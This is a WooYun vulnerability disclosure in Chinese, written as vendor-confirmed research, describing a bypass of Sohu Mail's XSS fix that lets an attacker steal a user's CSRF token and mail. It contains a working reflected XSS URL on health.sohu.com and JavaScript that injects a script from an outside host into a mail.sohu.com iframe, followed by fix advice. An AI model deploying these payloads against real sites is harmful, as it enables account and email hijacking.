当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0191634

漏洞标题:利用搜狐邮箱XSS劫持用户邮件(修复不当再次绕过)

相关厂商:搜狐

漏洞作者: q601333824

提交时间:2016-04-02 09:20

修复时间:2016-05-17 13:10

公开时间:2016-05-17 13:10

漏洞类型:XSS 跨站脚本攻击

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-02: 细节已通知厂商并且等待厂商处理中
2016-04-02: 厂商已经确认,细节仅向厂商公开
2016-04-12: 细节向核心白帽子及相关领域专家公开
2016-04-22: 细节向普通白帽子公开
2016-05-02: 细节向实习白帽子公开
2016-05-17: 细节向公众公开

简要描述:

昨天收到厂商送的狐狸,比上次送的狐狸大,晚上再挖一个还你
这个就说明了,为什么治标不治本,还能绕过,没有去找根本原因

详细说明:


1.官方对于漏洞修复如下

1.png


if(window.location.href!==top.location.href){document.domain = "mail.sohu.com"; setInterval(function() {document.domain = "mail.sohu.com"; }, 5); location.href = "http://ni.nongshalei"; }


2.这种修复暂时没想到办法绕过,这个时候我做了一个假设,一个项目不可能一个人写的,肯定有疏漏的地方...,于是我找到下面这个页面

http://mail.sohu.com/blank.html


3. 这个属于souhu.com域的,如图

2.png


4.送你一枚反射XSS漏洞

http://health.sohu.com/so/index.shtml?t=news&wd=96315%27%22onmouseover=%22alert(/1/)%22style=%22font-size:9999999999999999px;%22


-----------------------------------------------------------------------------------------------
5.下面是测试截图,利用http://mail.sohu.com/blank.html来请求http://mail.sohu.com的csrftoken,有了csrftoken,下面就不用我说了

5.png


6.下面是测试代码

var t=document.createElement("iframe");
t.setAttribute("src","http://mail.sohu.com/blank.html");
t.height="700";
t.width="700";
t.id="xss123";
document.body.appendChild(t);
function aaa(){
var ccc=document.getElementById("xss123").contentWindow;
var e=ccc.document.createElement("script");e.setAttribute("id","bdtbmarklet");e.setAttribute("src","http://192.168.1.103/1.js");ccc.document.body.appendChild(e);
}
setTimeout("aaa()",3000);//


function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
alert(xmlhttp.responseText);
}
}
xmlhttp.open("GET","http://mail.sohu.com/",true);
xmlhttp.send();
}
loadXMLDoc()


7.为什么加载本地JS,因为新浪云没豆用不了,JS就是一个AJAX请求代码

漏洞证明:


1.漏洞证明看上面
2.吹过的牛B要兑现,都说了,治标不治本,肯定还能再挖出来

修复方案:


1.每个页面都加段JS不现实,毕竟全网站多少页面你算算看

2.之所以可以再次绕过,归根结底是因为默认可以相同域请求,就是
mail.souhu.com/blank.html可以请求mail.souhu.com

4.没有设置的情况下,默认是

Access-Control-Allow-Origin: mail.souhu.com


5.可以在http://mail.sohu.com/设置Access-Control-Allow-Origin,一般用不到的域名拒绝请求就行了,然后再看看允许请求的页面有没有设置window.top.location.href
6.也可以设置白名单的请求列表,这样修复就大大的缩短了范围
7.Access-Control-Allow-Origin和document.domain两个是不一样的,document.domain设置不会影响Access-Control-Allow-Origin,Access-Control-Allow-Origin设置不会影响document.domain

8.上面只是小白的建议
9.知其然知其所以然,毕竟查过资料自己测试进行对比得出的结论

版权声明:转载请注明来源 q601333824@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2016-04-02 13:04

厂商回复:

感谢支持

最新状态:

暂无